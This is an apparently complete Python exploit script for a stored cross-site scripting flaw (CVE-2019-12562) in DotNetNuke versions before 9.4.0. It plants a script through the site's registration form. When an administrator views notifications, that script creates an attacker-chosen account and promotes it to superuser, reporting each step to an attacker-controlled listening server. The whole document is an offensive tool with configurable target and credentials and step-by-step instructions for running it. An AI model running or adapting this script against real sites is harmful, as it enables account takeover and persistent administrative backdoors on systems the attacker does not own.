# Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 # Exploit Description : This exploit will add a superuser to target DNN website. # Exploit Condition : Successful exploitation occurs when an admin user visits a notification page. # Exploit Author: MAYASEVEN # CVE : CVE-2019-12562 (https://www.cvedetails.com/cve/CVE-2019-12562/) # Github : https://github.com/MAYASEVEN/CVE-2019-12562 # Website : https://mayaseven.com import urllib.request from bs4 import BeautifulSoup #################################################################################################### ################################## Config the variables here ####################################### #################################################################################################### TARGET_URL = "http://targetdomain/DotNetNuke" USERNAME = "MAYASEVEN" # At least five characters long PASSWORD = "P@ssw0rd" # At least 0 non-alphanumeric characters, At least 7 characters EMAIL = "research@mayaseven.com" # Change email to any you want # A web server for listening an event LISTEN_URL = "http://yourdomain.com:1337" ##################################################################################################### ##################################################################################################### ##################################################################################################### # Payload to add a superuser to website PAYLOAD = "John" FILE_CONTENT = """var token = document.getElementsByName("__RequestVerificationToken")[0].value; var xhttp = new XMLHttpRequest(); var params = "{'firstName':'"""+USERNAME+"""','lastName':'"""+USERNAME+"""','email':'"""+EMAIL+"""','userName':'"""+USERNAME+"""','password':'"""+PASSWORD+"""','question':'','answer':'','randomPassword':false,'authorize':true,'notify':false}"; xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var returnhttp1 = new XMLHttpRequest(); returnhttp1.open("GET", '"""+LISTEN_URL+"""/Added_the_user'); returnhttp1.send(); var xhttp2 = new XMLHttpRequest(); var userId = JSON.parse(xhttp.responseText).userId; xhttp2.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var returnhttp2 = new XMLHttpRequest(); returnhttp2.open("GET", '"""+LISTEN_URL+"""/Make_superuser_success'); returnhttp2.send(); } } xhttp2.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/UpdateSuperUserStatus?userId='+userId+'&setSuperUser=true', true); xhttp2.setRequestHeader('Content-type', 'application/json; charset=UTF-8'); xhttp2.setRequestHeader('RequestVerificationToken', token); xhttp2.send(params); } }; xhttp.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/CreateUser', true); xhttp.setRequestHeader('Content-type', 'application/json; charset=UTF-8'); xhttp.setRequestHeader('RequestVerificationToken', token); xhttp.send(params); """ def create_payload(): # Create a payload.js file f = open("payload.js", "w") f.write(FILE_CONTENT) f.close() def check_target(): global regpage reg = urllib.request.urlopen(TARGET_URL+"/Register") regpage = reg.read().decode("utf8") reg.close() if "dnn" in regpage: return True else: return False def exploit(): # Fetching parameter from regpage soup = BeautifulSoup(regpage, 'html.parser') formhtml = soup.find("div", {"id": "dnn_ctr_Register_userForm"}) inputdata = BeautifulSoup(regpage, 'html.parser').findAll("input") param = {} print(" [+] Fetching DNN random parameter name.") for i in soup.select('input[name*="_TextBox"]'): print(" [+]", i["aria-label"],":", i["name"]) param[i["aria-label"]] = i["name"] ScriptManager = "dnn$ctr$Register_UP|dnn$ctr$Register$registerButton" __EVENTVALIDATION = soup.find("input", {"id": "__EVENTVALIDATION"})["value"] __VIEWSTATE = soup.find("input", {"id": "__VIEWSTATE"})["value"] __EVENTTARGET = "dnn$ctr$Register$registerButton" # Posting data to target headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'} data = {'ScriptManager': ScriptManager, '__EVENTVALIDATION': __EVENTVALIDATION, '__VIEWSTATE': __VIEWSTATE, '__EVENTTARGET': __EVENTTARGET, param['Username']: "dummy_"+USERNAME, param["Password"]: PASSWORD, param["PasswordConfirm"]: PASSWORD, param["DisplayName"]: PAYLOAD, "dummy_"+param["Email"]: EMAIL, '__ASYNCPOST': 'true'} data = urllib.parse.urlencode(data).encode() req = urllib.request.Request(TARGET_URL+"/Register", data=data, headers=headers) response = urllib.request.urlopen(req) if "An email with your details has been sent to the Site Administrator" in response.read().decode("utf8"): create_payload() return True elif "A user already exists" in response.read().decode("utf8"): print(" [!] The user already exists") return False elif "The Display Name is invalid." in response.read().decode("utf8"): print(" [!] DotNetNuke verion already been patched") else: return False def main(): print("[ Checking the target ]") if(check_target()): print(" [+] Target is DNN website.") print(" [+] URL: %s" % TARGET_URL) else: print(" [!] Target is not DNN website and exploit will not working.") return print("[ Running an exploit ]") if(exploit()): print("[ Successful exploited the target ]") print("> Creating a payload.js file in current directory.") print("> You have to serve the web server and place payload.js on it.") print("> And waiting admin to open a notification then the user will be added.") print("> Username: %s" % USERNAME) print("> Password: %s" % PASSWORD) else: print(" [!] Failed to exploit the target.") return if(__name__ == "__main__"): main()